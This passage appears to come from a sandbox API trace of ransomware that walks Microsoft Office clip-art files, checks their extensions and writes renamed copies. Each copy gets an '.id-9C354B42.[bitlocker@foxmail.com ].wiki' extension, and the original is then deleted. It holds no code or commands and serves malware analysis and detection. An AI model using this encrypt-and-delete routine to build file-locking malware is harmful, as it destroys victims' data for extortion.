(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0196.798] lstrlenW (lpString=".zip") returned 4 [0196.798] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.798] lstrlenW (lpString=".rar") returned 4 [0196.798] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.798] lstrlenW (lpString=".bz2") returned 4 [0196.798] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.798] lstrlenW (lpString=".7z") returned 3 [0196.798] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0196.798] lstrlenW (lpString=".dbf") returned 4 [0196.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0196.798] lstrlenW (lpString=".1cd") returned 4 [0196.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0196.798] lstrlenW (lpString=".jpg") returned 4 [0196.798] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.798] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0196.798] lstrlenW (lpString="J0151061.WMF") returned 12 [0196.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0196.799] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=6752) returned 1 [0196.799] CloseHandle (hObject=0x1cc) returned 1 [0196.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf")) returned 0x20 [0196.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0196.799] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.799] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0196.800] GetLastError () returned 0x0 [0196.800] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1a60, lpOverlapped=0x0) returned 1 [0196.802] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1a70, lpOverlapped=0x0) returned 1 [0196.802] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0196.803] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.803] SetEndOfFile (hFile=0x1f0) returned 1 [0196.803] CloseHandle (hObject=0x1f0) returned 1 [0196.803] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.803] SetEndOfFile (hFile=0x1cc) returned 1 [0196.804] CloseHandle (hObject=0x1cc) returned 1 [0196.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf")) returned 1 [0196.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0196.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0196.804] lstrlenW (lpString=".doc") returned 4 [0196.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.804] lstrlenW (lpString=".docx") returned 5 [0196.804] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0196.804] lstrlenW (lpString=".pdf") returned 4 [0196.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.804] lstrlenW (lpString=".xls") returned 4 [0196.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.804] lstrlenW (lpString=".xlsx") returned 5 [0196.804] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0196.804] lstrlenW (lpString=".ppt") returned 4 [0196.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0196.805] lstrlenW (lpString=".zip") returned 4 [0196.805] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.805] lstrlenW (lpString=".rar") returned 4 [0196.805] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.805] lstrlenW (lpString=".bz2") returned 4 [0196.805] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.805] lstrlenW (lpString=".7z") returned 3 [0196.805] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0196.805] lstrlenW (lpString=".dbf") returned 4 [0196.805] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0196.805] lstrlenW (lpString=".1cd") returned 4 [0196.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0196.805] lstrlenW (lpString=".jpg") returned 4 [0196.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0196.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0196.805] lstrlenW (lpString=".doc") returned 4 [0196.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.805] lstrlenW (lpString=".docx") returned 5 [0196.805] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0196.805] lstrlenW (lpString=".pdf") returned 4 [0196.805] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.805] lstrlenW (lpString=".xls") returned 4 [0196.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.806] lstrlenW (lpString=".xlsx") returned 5 [0196.806] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0196.806] lstrlenW (lpString=".ppt") returned 4 [0196.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0196.806] lstrlenW (lpString=".zip") returned 4 [0196.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.806] lstrlenW (lpString=".rar") returned 4 [0196.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.806] lstrlenW (lpString=".bz2") returned 4 [0196.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.806] lstrlenW (lpString=".7z") returned 3 [0196.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0196.806] lstrlenW (lpString=".dbf") returned 4 [0196.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0196.806] lstrlenW (lpString=".1cd") returned 4 [0196.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0196.806] lstrlenW (lpString=".jpg") returned 4 [0196.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.806] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0196.806] lstrlenW (lpString="J0151063.WMF") returned 12 [0196.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0196.807] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=10632) returned 1 [0196.807] CloseHandle (hObject=0x1cc) returned 1 [0196.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf")) returned 0x20 [0196.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0196.807] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.807] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0196.808] GetLastError () returned 0x0 [0196.808] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x2988, lpOverlapped=0x0) returned 1 [0196.987] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2990, lpOverlapped=0x0) returned 1 [0197.232] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0197.232] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.232] SetEndOfFile (hFile=0x1f0) returned 1 [0197.232] CloseHandle (hObject=0x1f0) returned 1 [0197.233] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.233] SetEndOfFile (hFile=0x1cc) returned 1 [0197.233] CloseHandle (hObject=0x1cc) returned 1 [0197.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf")) returned 1 [0197.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0197.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0197.234] lstrlenW (lpString=".doc") returned 4 [0197.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.234] lstrlenW (lpString=".docx") returned 5 [0197.234] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0197.234] lstrlenW (lpString=".pdf") returned 4 [0197.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.234] lstrlenW (lpString=".xls") returned 4 [0197.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.234] lstrlenW (lpString=".xlsx") returned 5 [0197.234] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0197.234] lstrlenW (lpString=".ppt") returned 4 [0197.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0197.234] lstrlenW (lpString=".zip") returned 4 [0197.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.234] lstrlenW (lpString=".rar") returned 4 [0197.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.234] lstrlenW (lpString=".bz2") returned 4 [0197.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.234] lstrlenW (lpString=".7z") returned 3 [0197.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0197.235] lstrlenW (lpString=".dbf") returned 4 [0197.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0197.235] lstrlenW (lpString=".1cd") returned 4 [0197.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0197.235] lstrlenW (lpString=".jpg") returned 4 [0197.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0197.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0197.235] lstrlenW (lpString=".doc") returned 4 [0197.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.235] lstrlenW (lpString=".docx") returned 5 [0197.235] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0197.235] lstrlenW (lpString=".pdf") returned 4 [0197.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.235] lstrlenW (lpString=".xls") returned 4 [0197.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.235] lstrlenW (lpString=".xlsx") returned 5 [0197.235] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0197.235] lstrlenW (lpString=".ppt") returned 4 [0197.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0197.235] lstrlenW (lpString=".zip") returned 4 [0197.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.235] lstrlenW (lpString=".rar") returned 4 [0197.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.235] lstrlenW (lpString=".bz2") returned 4 [0197.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.236] lstrlenW (lpString=".7z") returned 3 [0197.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0197.236] lstrlenW (lpString=".dbf") returned 4 [0197.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0197.236] lstrlenW (lpString=".1cd") returned 4 [0197.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0197.236] lstrlenW (lpString=".jpg") returned 4 [0197.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.236] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0197.236] lstrlenW (lpString="J0152688.WMF") returned 12 [0197.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0197.237] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=34676) returned 1 [0197.237] CloseHandle (hObject=0x1cc) returned 1 [0197.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf")) returned 0x20 [0197.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0197.237] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.237] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0197.238] GetLastError () returned 0x0 [0197.238] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x8774, lpOverlapped=0x0) returned 1 [0197.242] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x8780, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x8780, lpOverlapped=0x0) returned 1 [0197.243] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0197.243] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.243] SetEndOfFile (hFile=0x1f0) returned 1 [0197.244] CloseHandle (hObject=0x1f0) returned 1 [0197.244] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.244] SetEndOfFile (hFile=0x1cc) returned 1 [0197.245] CloseHandle (hObject=0x1cc) returned 1 [0197.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf")) returned 1 [0197.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0197.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0197.245] lstrlenW (lpString=".doc") returned 4 [0197.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.245] lstrlenW (lpString=".docx") returned 5 [0197.245] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0197.245] lstrlenW (lpString=".pdf") returned 4 [0197.245] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.245] lstrlenW (lpString=".xls") returned 4 [0197.245] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.245] lstrlenW (lpString=".xlsx") returned 5 [0197.245] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0197.245] lstrlenW (lpString=".ppt") returned 4 [0197.245] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0197.246] lstrlenW (lpString=".zip") returned 4 [0197.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.246] lstrlenW (lpString=".rar") returned 4 [0197.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.246] lstrlenW (lpString=".bz2") returned 4 [0197.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.246] lstrlenW (lpString=".7z") returned 3 [0197.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0197.246] lstrlenW (lpString=".dbf") returned 4 [0197.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0197.246] lstrlenW (lpString=".1cd") returned 4 [0197.246] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0197.246] lstrlenW (lpString=".jpg") returned 4 [0197.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0197.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0197.246] lstrlenW (lpString=".doc") returned 4 [0197.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.246] lstrlenW (lpString=".docx") returned 5 [0197.246] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0197.246] lstrlenW (lpString=".pdf") returned 4 [0197.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.246] lstrlenW (lpString=".xls") returned 4 [0197.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.246] lstrlenW (lpString=".xlsx") returned 5 [0197.246] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0197.246] lstrlenW (lpString=".ppt") returned 4 [0197.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0197.247] lstrlenW (lpString=".zip") returned 4 [0197.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.247] lstrlenW (lpString=".rar") returned 4 [0197.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.247] lstrlenW (lpString=".bz2") returned 4 [0197.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.247] lstrlenW (lpString=".7z") returned 3 [0197.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0197.247] lstrlenW (lpString=".dbf") returned 4 [0197.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 